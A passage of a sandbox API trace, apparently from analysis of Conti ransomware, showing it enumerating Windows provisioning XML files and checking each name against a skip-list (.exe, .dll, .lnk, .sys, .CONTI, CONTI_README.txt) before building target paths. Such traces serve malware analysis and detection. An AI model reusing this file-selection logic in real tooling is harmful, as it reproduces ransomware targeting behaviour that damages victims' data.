	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.304] StrStrIW (lpFirst="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.304] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.305] lstrlenW (lpString="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml") returned 76
	[0109.305] GetProcessHeap () returned 0x1720000
	[0109.305] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x6560bf8
	[0109.305] lstrcpyW (in: lpString1=0x6560bf8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.305] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.305] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml"
	[0109.305] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c44137, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="331__C~1.PRO")) returned 1
	[0109.305] lstrcmpiW (lpString1="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.305] lstrcmpiW (lpString1="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.305] StrStrIW (lpFirst="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.305] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.305] lstrlenW (lpString="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.305] GetProcessHeap () returned 0x1720000
	[0109.305] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6567858
	[0109.305] lstrcpyW (in: lpString1=0x6567858, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.305] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.305] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml"
	[0109.305] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c44137, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c44137, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="332__C~1.PRO")) returned 1
	[0109.320] lstrcmpiW (lpString1="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.320] lstrcmpiW (lpString1="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.320] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.320] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.320] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.325] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.325] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.325] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.330] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.330] StrStrIW (lpFirst="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.330] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.330] lstrlenW (lpString="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.330] GetProcessHeap () returned 0x1720000
	[0109.330] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x65679a0
	[0109.330] lstrcpyW (in: lpString1=0x65679a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.334] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.334] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml"
	[0109.335] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="333__C~1.PRO")) returned 1
	[0109.335] lstrcmpiW (lpString1="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.335] lstrcmpiW (lpString1="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.339] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.339] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.339] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.340] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.344] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.344] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.344] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.344] StrStrIW (lpFirst="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.344] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.344] lstrlenW (lpString="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.344] GetProcessHeap () returned 0x1720000
	[0109.344] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6566cd0
	[0109.345] lstrcpyW (in: lpString1=0x6566cd0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml"
	[0109.345] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="334__C~1.PRO")) returned 1
	[0109.345] lstrcmpiW (lpString1="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.345] lstrcmpiW (lpString1="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.345] StrStrIW (lpFirst="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.345] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.345] lstrlenW (lpString="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.345] GetProcessHeap () returned 0x1720000
	[0109.345] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x6560ea8
	[0109.345] lstrcpyW (in: lpString1=0x6560ea8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml"
	[0109.345] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="335__C~1.PRO")) returned 1
	[0109.345] lstrcmpiW (lpString1="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.345] lstrcmpiW (lpString1="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.345] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.346] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.346] StrStrIW (lpFirst="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.346] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.346] lstrlenW (lpString="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.346] GetProcessHeap () returned 0x1720000
	[0109.346] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x65670a8
	[0109.346] lstrcpyW (in: lpString1=0x65670a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml"
	[0109.346] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="336__C~1.PRO")) returned 1
	[0109.346] lstrcmpiW (lpString1="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.346] lstrcmpiW (lpString1="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.346] StrStrIW (lpFirst="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.346] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.346] lstrlenW (lpString="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.346] GetProcessHeap () returned 0x1720000
	[0109.346] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65675c8
	[0109.346] lstrcpyW (in: lpString1=0x65675c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml"
